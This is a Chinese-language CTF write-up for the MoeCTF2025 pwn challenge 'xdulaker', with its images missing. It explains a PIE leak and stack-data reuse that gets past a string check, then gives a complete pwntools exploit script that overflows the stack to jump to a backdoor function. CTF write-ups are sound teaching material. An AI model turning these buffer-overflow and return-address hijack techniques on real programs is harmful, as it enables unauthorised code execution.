xdulaker
.png)
main函数:
.png)
pull函数:
.png)
photo函数:
.png)
laker函数:
.png)
题目有后门函数,pull直接给了我们pie地址,我们可以得到后门函数的地址,然后photo函数有一个读取,但是不够栈溢出的,laker有一个栈溢出,但是要检查s1开头是否有xdulaker,我们前面只有photo一个输入点,这里我们利用的是栈内容的留存,显而易见,photo和laker都是在main函数中调用,那它们的rbp的内存地址是相同的,可以看我画的调用函数的过程
.png)
.png)
我们可以观察到,每个函数调用结束后rbp和rsp都会回到原来的位置,而被调用函数的栈帧的rbp是call指令执行瞬间的rsp - 16,在绝大部分菜单while循环中,每个选项的call时的rsp都是相同的,如果不同每次rsp都改变的话无限循环rsp就会超出范围(有特殊情况会改变rsp),我们也可以选择看汇编
.png)
我们看到在每个分支的call前,都是mov、cmp、jnz这种不改变rsp的指令(push、pop等就是改变)
那这题的思路就很明显了,我们看到photo中的buf的位置比laker的s1的位置高(以rbp为基址,它们的rbp的地址一样),我们先用photo像buf输入把s1位置开头写入xdulaker,就能通过laker的检查然后栈溢出了
EXP:
from pwn import *
context(arch='amd64', os='linux')
file_name = './pwn'
elf = ELF(file_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
if switch:
target = ''
port = 0
p = remote(target, port)
else:
p = process(file_name)
if debug:
context(log_level='debug')
if gdb_ and switch == 0:
gdb.attach(p)
pause()
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uu64(data): return u64(data.ljust(8, b'\x00'))
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt='>'): return sla(pmt.encode() if isinstance(pmt, str) else pmt, str(idx).encode())
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def ga(delim=b'\n', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def search(s): return next(elf.search(s if isinstance(s, bytes) else s.encode()))
#################################################################################
menu(1)
[leak] = ga()
piebase = leak - 0x4010
ntpie(leak,0x4010)
backdoor = elf.sym['backdoor']
ret = search(asm('ret'))
menu(2)
payload = flat([
fill(0x20),
"xdulaker"
])
sa(b"Hey,what's your name?!",payload)
menu(3)
payload1 = flat([
fill(0x30+8),
ret,
backdoor
])
sa(b"welcome,xdulaker",payload1)
it()
题目链接:
CTF-Writeups/MoeCTF2025/xdulaker at main · Zenquiem/CTF-Writeups
xdulaker
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-QLOakOZs